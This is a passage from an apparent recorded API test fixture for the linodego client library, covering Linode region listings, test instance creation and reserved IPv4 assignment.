"maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-x0br22kd464d","root_pass":"]60f8-j2V6kvF''6SIywqK53AEB=+y\u003e6[d\u0026[U^J2z3V71!J6t@{Dg]L;Ln6f@Iww3","image":"linode/debian12","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361128, "label": "go-test-ins-x0br22kd464d", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.83"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "ce087cf1dcc79780806668c1039289d8937ad6c6", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-ymgs78b74j98","root_pass":"pIhB3q8i[{4!JC]f9GnS8O`\u0026E+''55zrLd5HE$HAfb{2Y3@at:W607i1=,k}?B01y","image":"linode/debian12","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361129, "label": "go-test-ins-ymgs78b74j98", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.115.95"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "22efe493338d3f0f7184a2cd6393c9cfa63ef022", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.49.153", "gateway": "172.105.49.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-49-153.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"172.105.49.153","linode_id":68361128}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/172.105.49.153 method: GET response: body: '{"address": "172.105.49.153", "gateway": "172.105.49.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-49-153.ip.linodeusercontent.com", "linode_id": 68361128, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.105.59.228", "gateway": "172.105.59.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-105-59-228.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "264" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","assignments":[{"address":"172.105.59.228","linode_id":68361128}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/assign method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write 